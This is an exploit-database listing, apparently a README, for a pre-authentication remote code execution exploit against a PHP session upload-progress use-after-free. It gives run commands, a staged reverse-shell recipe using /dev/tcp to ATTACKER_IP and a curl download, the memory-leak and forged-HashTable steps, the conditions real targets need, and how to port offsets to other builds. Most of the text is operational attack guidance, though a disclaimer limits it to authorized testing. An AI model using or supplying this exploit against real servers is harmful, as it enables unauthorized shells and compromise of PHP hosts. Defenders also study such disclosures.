Back Sploitus Exploit for Improperly Controlled Sequential Memory Allocation in Php
Pre-auth Remote Code Execution through a heap use-after-free in PHP's session upload progress tracking. No credentials, no file upload, just HTTP.
**CVSS 9.2** · Affects every PHP build with `session.upload_progress.enabled = On` (the default).
git clone
The output walks through the three exploit stages and prints the proof:
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
cat out/p1 # same proof, written by the target
Start only the target, exploit from your host (Python ≥ 3.7, no deps):
docker compose up -d target # vulnerable PHP on :8080
python3 exploit.py -t --proof-file out/p1
The inline payload is capped at **14 bytes**, so a reverse shell doesn't fit in one shot. Use two calls to stage it:
# 1. Attacker - serve the payload and listen
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > s
# 2. Download the payload onto the target (≤14 B)
python3 exploit.py -t -c 'curl IP -os'
python3 exploit.py -t -c 'bash s'
> **Tip:** use a short IP (e.g. `1.2.3.4`) or a one-char filename to stay under 14 bytes.
> The shell lands as **www-data** - root requires a separate privesc.
`php_session_rfc1867_callback` caches two raw `zval *` pointers (`post_bytes_processed`, `current_file_bytes_processed`) into a live `HashTable`. A session re-init during request processing frees the backing memory via `zval_ptr_dtor`, but the pointers survive. The exploit reclaims the freed slot with a forged `HashTable` whose `pDestructor` points at `zif_system`, then triggers destruction - PHP calls `system(cmd)`.
| 0 | Fresh heap | Crash the prefork worker via max_input_vars + OOM |
| 1 | Heap base | OOM leaks uninit data through `Set-Cookie`, 2 MB-aligned base |
| 2 | libphp base | `ZVAL_PTR_DTOR` pointer bleeds through `Set-Cookie`, subtract offset |
| 3 | RCE | Forged 167 B `HashTable` in a `zend_string` carrier, `pDestructor` -> `zif_system` |
The Docker lab ships these; real targets need the same conditions:
- Apache **prefork** MPM (single-threaded workers, deterministic heap)
- `session.upload_progress.enabled = 1` (PHP default)
- `memory_limit` lower than the OOM payload (default exploit sends 12 MB)
For a different PHP build, extract the offsets from `libphp.so`:
objdump -t /usr/lib/apache2/modules/libphp.so | grep zif_system
nm -D /usr/lib/apache2/modules/libphp.so | grep zval_ptr_dtor
Then update the `_PRESETS` dictionary in `exploit.py` or add a new preset.
For **authorized security testing and education only**. Test exclusively against systems you own or have written permission to assess. Unauthorised access is a criminal offence.
**vitalelele** - [github.com/vitalelele](
- [Original research & PoC by @enes_dev](
- [CVE-2026-109618 (NVD)](
- [CVE-2026-109619 (NVD)](
- [PHP Bug #87645 - session upload_progress UAF](
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
